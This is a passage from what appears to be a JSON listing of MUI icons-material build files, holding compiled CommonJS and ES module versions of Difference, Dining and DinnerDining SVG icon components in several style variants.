    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 23H4c-1.1 0-2-.9-2-2V7h2v14h14zM15 1H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7zm1.5 14h-6v-2h6zm0-6h-2v2h-2V9h-2V7h2V5h2v2h2z\"\n}), 'Difference');"
  },
  {
    "path": "packages/mui-icons-material/lib/Difference.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 23H4c-1.1 0-2-.9-2-2V7h2v14h14zM15 1H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7zm1.5 14h-6v-2h6zm0-6h-2v2h-2V9h-2V7h2V5h2v2h2z\"\n}), 'Difference');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 23H4c-1.1 0-2-.9-2-2V7h2v14h14zM14.5 7V5h-2v2h-2v2h2v2h2V9h2V7zm2 6h-6v2h6zM15 1H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7zm4 16H8V3h6.17L19 7.83z\"\n}), 'DifferenceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 23H4c-1.1 0-2-.9-2-2V7h2v14h14zM14.5 7V5h-2v2h-2v2h2v2h2V9h2V7zm2 6h-6v2h6zM15 1H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7zm4 16H8V3h6.17L19 7.83z\"\n}), 'DifferenceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7c.55 0 1 .45 1 1v13h13c.55 0 1 .45 1 1s-.45 1-1 1H4c-1.1 0-2-.9-2-2V8c0-.55.45-1 1-1m12.59-5.41c-.38-.38-.89-.59-1.42-.59H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7.83c0-.53-.21-1.04-.59-1.41zM15.5 15h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m0-6h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V9h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V6c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'DifferenceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7c.55 0 1 .45 1 1v13h13c.55 0 1 .45 1 1s-.45 1-1 1H4c-1.1 0-2-.9-2-2V8c0-.55.45-1 1-1m12.59-5.41c-.38-.38-.89-.59-1.42-.59H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7.83c0-.53-.21-1.04-.59-1.41zM15.5 15h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m0-6h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V9h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V6c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'DifferenceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 23H2V7h2v14h14zM15 1H6.01L6 19h15V7zm1.5 14h-6v-2h6zm0-6h-2v2h-2V9h-2V7h2V5h2v2h2z\"\n}), 'DifferenceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 23H2V7h2v14h14zM15 1H6.01L6 19h15V7zm1.5 14h-6v-2h6zm0-6h-2v2h-2V9h-2V7h2V5h2v2h2z\"\n}), 'DifferenceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 3H8v14h11V7.83zm2.33 12h-6v-2h6zm0-6h-2v2h-2V9h-2V7h2V5h2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 23H4c-1.1 0-2-.9-2-2V7h2v14h14zM14.5 7V5h-2v2h-2v2h2v2h2V9h2V7zm2 6h-6v2h6zM15 1H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7zm4 16H8V3h6.17L19 7.83z\"\n}, \"1\")], 'DifferenceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DifferenceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 3H8v14h11V7.83zm2.33 12h-6v-2h6zm0-6h-2v2h-2V9h-2V7h2V5h2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 23H4c-1.1 0-2-.9-2-2V7h2v14h14zM14.5 7V5h-2v2h-2v2h2v2h2V9h2V7zm2 6h-6v2h6zM15 1H8c-1.1 0-1.99.9-1.99 2L6 17c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V7zm4 16H8V3h6.17L19 7.83z\"\n}, \"1\")], 'DifferenceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9 8.3c0 .93-.64 1.71-1.5 1.93V19H8v-6.77c-.86-.22-1.5-1-1.5-1.93V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9h.75V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9H10V6.5c0-.28.23-.5.5-.5.28 0 .5.22.5.5zm4.58 2.29-.08.03V19H14v-6.38l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4 1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18\"\n}), 'Dining');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9 8.3c0 .93-.64 1.71-1.5 1.93V19H8v-6.77c-.86-.22-1.5-1-1.5-1.93V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9h.75V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9H10V6.5c0-.28.23-.5.5-.5.28 0 .5.22.5.5zm4.58 2.29-.08.03V19H14v-6.38l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4 1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18\"\n}), 'Dining');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.75 6c-1.37 0-2.5 1.52-2.5 3.4 0 1.48.7 2.71 1.67 3.18l.08.04V19h1.5v-6.38l.08-.03c.97-.47 1.67-1.7 1.67-3.18 0-1.88-1.12-3.41-2.5-3.41M10.5 6c-.27 0-.5.22-.5.5V9h-.75V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V9H7.5V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v3.8c0 .93.64 1.71 1.5 1.93V19h1.5v-6.77c.86-.22 1.5-1 1.5-1.93V6.5c0-.28-.22-.5-.5-.5M20 4H4v16h16zm0-2c1.1 0 2 .9 2 2v16c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2z\"\n}), 'DiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.75 6c-1.37 0-2.5 1.52-2.5 3.4 0 1.48.7 2.71 1.67 3.18l.08.04V19h1.5v-6.38l.08-.03c.97-.47 1.67-1.7 1.67-3.18 0-1.88-1.12-3.41-2.5-3.41M10.5 6c-.27 0-.5.22-.5.5V9h-.75V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V9H7.5V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v3.8c0 .93.64 1.71 1.5 1.93V19h1.5v-6.77c.86-.22 1.5-1 1.5-1.93V6.5c0-.28-.22-.5-.5-.5M20 4H4v16h16zm0-2c1.1 0 2 .9 2 2v16c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2z\"\n}), 'DiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9 8.3c0 .93-.64 1.71-1.5 1.93v6.02c0 .41-.34.75-.75.75S8 18.66 8 18.25v-6.02c-.86-.22-1.5-1-1.5-1.93V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9h.75V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9H10V6.5c0-.28.23-.5.5-.5.28 0 .5.22.5.5zm4.58 2.29-.08.03v5.63c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-5.63l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4 1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18\"\n}), 'DiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9 8.3c0 .93-.64 1.71-1.5 1.93v6.02c0 .41-.34.75-.75.75S8 18.66 8 18.25v-6.02c-.86-.22-1.5-1-1.5-1.93V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9h.75V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9H10V6.5c0-.28.23-.5.5-.5.28 0 .5.22.5.5zm4.58 2.29-.08.03v5.63c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-5.63l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4 1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18\"\n}), 'DiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zm-11 8.3c0 .93-.64 1.71-1.5 1.93V19H8v-6.77c-.86-.22-1.5-1-1.5-1.93V6h1v3h.75V6h1v3H10V6h1zm4.58 2.29-.08.03V19H14v-6.38l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4 1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18\"\n}), 'DiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zm-11 8.3c0 .93-.64 1.71-1.5 1.93V19H8v-6.77c-.86-.22-1.5-1-1.5-1.93V6h1v3h.75V6h1v3H10V6h1zm4.58 2.29-.08.03V19H14v-6.38l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4 1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18\"\n}), 'DiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zM14.75 6c1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18l-.08.03V19H14v-6.38l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4m-8.25.5c0-.28.22-.5.5-.5s.5.22.5.5V9h.75V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9H10V6.5c0-.28.23-.5.5-.5.28 0 .5.22.5.5v3.8c0 .93-.64 1.71-1.5 1.93V19H8v-6.77c-.86-.22-1.5-1-1.5-1.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.23V19h1.5v-6.77c.86-.22 1.5-1 1.5-1.93V6.5c0-.28-.22-.5-.5-.5-.27 0-.5.22-.5.5V9h-.75V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V9H7.5V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v3.8c0 .93.64 1.71 1.5 1.93m5.92.35.08.04V19h1.5v-6.38l.08-.03c.97-.47 1.67-1.7 1.67-3.18 0-1.88-1.12-3.41-2.5-3.41-1.37 0-2.5 1.52-2.5 3.4 0 1.48.7 2.71 1.67 3.18\"\n}, \"2\")], 'DiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zM14.75 6c1.38 0 2.5 1.53 2.5 3.41 0 1.48-.7 2.71-1.67 3.18l-.08.03V19H14v-6.38l-.08-.04c-.97-.47-1.67-1.7-1.67-3.18 0-1.88 1.13-3.4 2.5-3.4m-8.25.5c0-.28.22-.5.5-.5s.5.22.5.5V9h.75V6.5c0-.28.22-.5.5-.5s.5.22.5.5V9H10V6.5c0-.28.23-.5.5-.5.28 0 .5.22.5.5v3.8c0 .93-.64 1.71-1.5 1.93V19H8v-6.77c-.86-.22-1.5-1-1.5-1.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.23V19h1.5v-6.77c.86-.22 1.5-1 1.5-1.93V6.5c0-.28-.22-.5-.5-.5-.27 0-.5.22-.5.5V9h-.75V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V9H7.5V6.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v3.8c0 .93.64 1.71 1.5 1.93m5.92.35.08.04V19h1.5v-6.38l.08-.03c.97-.47 1.67-1.7 1.67-3.18 0-1.88-1.12-3.41-2.5-3.41-1.37 0-2.5 1.52-2.5 3.4 0 1.48.7 2.71 1.67 3.18\"\n}, \"2\")], 'DiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h20l-2 2H4zM5 6h1v1H5zm0-2h1v1H5zm4 0v1H7V4zm0 3H7V6h2zm-3 8.23c-.36.11-.69.28-1 .47V8h1zm-2 1.29c-.38.44-.68.93-.84 1.48h16.82c.01-.16.03-.33.03-.5 0-3.04-2.46-5.5-5.5-5.5-2.29 0-4.25 1.4-5.08 3.4-.59-.25-1.24-.4-1.93-.4-.17 0-.33.02-.5.04V8h2c1.03.06 1.9-.96 2-2h10V5H11c-.1-1.05-.97-1.97-2-2H3v1h1v1H3v1h1v1H3v1h1z\"\n}), 'DinnerDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h20l-2 2H4zM5 6h1v1H5zm0-2h1v1H5zm4 0v1H7V4zm0 3H7V6h2zm-3 8.23c-.36.11-.69.28-1 .47V8h1zm-2 1.29c-.38.44-.68.93-.84 1.48h16.82c.01-.16.03-.33.03-.5 0-3.04-2.46-5.5-5.5-5.5-2.29 0-4.25 1.4-5.08 3.4-.59-.25-1.24-.4-1.93-.4-.17 0-.33.02-.5.04V8h2c1.03.06 1.9-.96 2-2h10V5H11c-.1-1.05-.97-1.97-2-2H3v1h1v1H3v1h1v1H3v1h1z\"\n}), 'DinnerDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19 2 2h16l2-2zm1-1h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h1.75C10.99 9 12 7.99 12 6.75h9v-1.5h-9C12 4.01 10.99 3 9.75 3H3v1.5h1v.75H3v1.5h1v.75H3V9h1v7.39c-.44.46-.78 1-1 1.61m11.5-4c.99 0 1.91.4 2.58 1.14.24.26.44.55.58.86h-6.32c.58-1.21 1.81-2 3.16-2M8 4.5h2v.75H8zm0 2.25h2v.75H8zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM5.5 9h1v6.06c-.35.06-.68.17-1 .3z\"\n}), 'DinnerDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19 2 2h16l2-2zm1-1h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h1.75C10.99 9 12 7.99 12 6.75h9v-1.5h-9C12 4.01 10.99 3 9.75 3H3v1.5h1v.75H3v1.5h1v.75H3V9h1v7.39c-.44.46-.78 1-1 1.61m11.5-4c.99 0 1.91.4 2.58 1.14.24.26.44.55.58.86h-6.32c.58-1.21 1.81-2 3.16-2M8 4.5h2v.75H8zm0 2.25h2v.75H8zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM5.5 9h1v6.06c-.35.06-.68.17-1 .3z\"\n}), 'DinnerDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.85 19.85 1 1q.15.15.36.15H19.8c.13 0 .26-.05.35-.15l1-1c.31-.31.09-.85-.35-.85H3.21c-.45 0-.67.54-.36.85M3 18h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h1.75C10.99 9 12 7.99 12 6.75h8.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H12C12 4.01 10.99 3 9.75 3h-6c-.41 0-.75.34-.75.75s.34.75.75.75H4v.75h-.25c-.41 0-.75.34-.75.75s.34.75.75.75H4v.75h-.25c-.41 0-.75.34-.75.75s.34.75.75.75H4v7.39c-.44.46-.78 1-1 1.61M8 4.5h2v.75H8zm0 2.25h2v.75H8zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM5.5 9h1v6.06c-.35.06-.68.17-1 .3z\"\n}), 'DinnerDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.85 19.85 1 1q.15.15.36.15H19.8c.13 0 .26-.05.35-.15l1-1c.31-.31.09-.85-.35-.85H3.21c-.45 0-.67.54-.36.85M3 18h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h1.75C10.99 9 12 7.99 12 6.75h8.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H12C12 4.01 10.99 3 9.75 3h-6c-.41 0-.75.34-.75.75s.34.75.75.75H4v.75h-.25c-.41 0-.75.34-.75.75s.34.75.75.75H4v.75h-.25c-.41 0-.75.34-.75.75s.34.75.75.75H4v7.39c-.44.46-.78 1-1 1.61M8 4.5h2v.75H8zm0 2.25h2v.75H8zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM5.5 9h1v6.06c-.35.06-.68.17-1 .3z\"\n}), 'DinnerDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19 2 2h16l2-2zm1-1h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h4V6.75h9v-1.5h-9V3H3v1.5h1v.75H3v1.5h1v.75H3V9h1v7.39c-.44.46-.78 1-1 1.61M8 7.5v-.75h2v.75zm2-2.25H8V4.5h2zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM6.5 9v6.06c-.35.06-.68.17-1 .3V9z\"\n}), 'DinnerDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningSharp.mjs",
